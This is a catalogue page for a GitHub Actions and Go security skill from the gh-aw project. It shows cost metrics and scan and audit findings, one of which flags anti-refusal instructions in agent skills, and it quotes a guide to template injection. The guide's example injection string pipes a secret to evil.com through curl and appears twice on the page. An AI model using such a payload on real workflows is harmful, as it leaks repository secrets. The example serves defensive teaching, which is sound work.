gh-aw: Skill for Claude Code

.github/skills/developer-security/SKILL.md

developer-security is a skill for Claude Code, Codex from github/gh-aw. It costs 32 tokens per session (2,759 once invoked), scanned A, original, MIT.

A security guide for GitHub Actions workflows, which automate tasks when changes or other events happen in a GitHub repository, and for Go code. It covers unsafe templates, shell commands, dependencies, permissions, and code analysis.

In plain words
What is it for?
Use it when building or reviewing GitHub Actions workflows or Go code, especially when workflows handle issues, pull requests, comments, secrets, or external packages.
Why use it?
It helps prevent untrusted text from running commands, secrets from being exposed, and third-party dependencies or workflow permissions from creating security risks.

Skill for Claude CodeCodex ✓ vendor

Written for no agent in particular: nothing here depends on one.

This is github/gh-aw's own configuration. It tells Claude Code and Codex how to work on gh-aw itself, so it is not a mod to install elsewhere. Copy it as a starting point and replace the rules that are about this project. Everything gh-aw configures →

About the project

GitHub Agentic Workflows is a GitHub CLI extension that lets developers define AI-assisted repository automation in Markdown and run it through GitHub Actions. It is intended for tasks requiring interpretation or reasoning, such as issue triage, pull-request review, CI investigation, documentation maintenance, and dependency analysis. The catalogue entries provide skills and agents for working with these workflows.

github/gh-aw · 5,406 stars · on GitHub · gh.io

Reuse

Borrowing it

Nothing to install: this file belongs to github/gh-aw. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.

Copy the file
curl -O https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/developer-security/SKILL.md
Clone the repo
git clone --depth 1 https://github.com/github/gh-aw

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for developer-security

README.md
[![agentmods](https://agentmods.dev/badge/skills/github/gh-aw/developer-security/github.svg)](https://agentmods.dev/skills/github/gh-aw/developer-security)
Your own site
<a href="https://agentmods.dev/skills/github/gh-aw/developer-security"><img src="https://agentmods.dev/badge/skills/github/gh-aw/developer-security/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for developer-security

Your own site · 80×15
<a href="https://agentmods.dev/skills/github/gh-aw/developer-security"><img src="https://agentmods.dev/badge/skills/github/gh-aw/developer-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 32 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,759 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 4 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 23
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Anti-Refusal · line 369
    Skill instructs the agent to omit warnings, disclaimers, or ethical commentary. Stripping safety caveats hides risk from the user and is a common jailbreak preamble.
    Fix: Remove instructions that suppress warnings, disclaimers, or ethical commentary. Let the agent surface safety-relevant caveats to the user.
  • medium Excessive Agency · line 23
    Skill grants unrestricted tool access without appropriate constraints. An agent with unfettered tool access can perform arbitrary actions including file modification, network requests, and code execution.
    Fix: Restrict tool access to only the tools required for the skill's stated purpose. Use an explicit allowlist rather than granting blanket access.
  • medium Data Exfiltration · line 260
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00032 $0.02759
Opus 5.5 $0.00013 $0.01104
Sonnet 5.5 $0.00006 $0.00552
Haiku 4.5 $0.00003 $0.00276

Measured 3d ago against content hash 5e68897730c9, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

developer-security scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Unrestricted tool accesslowExcessive agency

A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.

Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

**Why vulnerable:** Issue title is directly interpolated. An attacker can inject: `"; curl evil.com/?secret=$SECRET; echo "`
.github/skills/developer-security/SKILL.md · 399 lines

How it starts

The opening of the file, as written. The whole thing — 399 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Security Best Practices

Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.

Table of Contents

Template Injection Prevention

Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.

Understanding the Risk

GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.

Insecure Pattern
# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        run: echo "${{ github.event.issue.title }}"

Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "

Secure Pattern: Environment Variables
# SECURE: Use environment variables
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "$ISSUE_TITLE"

Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.

Data Flow Comparison
graph TB
    subgraph "Unsafe Pattern"
        A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
        B1 --> C1[Direct Interpolation<br/>into Shell Command]
        C1 --> D1[Code Execution Risk]
        style D1 fill:#f88,stroke:#f00
    end

    subgraph "Safe Pattern"
        A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
        B2 --> C2[Environment Variable<br/>Assignment]
        C2 --> D2[Shell Receives<br/>Data Only]
        D2 --> E2[No Code Execution]
        style E2 fill:#8f8,stroke:#0f0
    end

Read the full file on GitHub · 399 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago Changed · +3 lines 5e68897730c9
  2. 4d ago Changed · +8 lines b5640b57d313
  3. 1mo ago First seen · 388 lines · 32 tokens per session scan A 8adc14a88fd0

Subscribe to this mod's changes

developer-security is a skill published in the GitHub repository github/gh-aw (5,406 stars, last pushed today), licensed MIT. It adds 32 tokens to every session and 2,759 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it A with 2 findings (unrestricted tool access, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.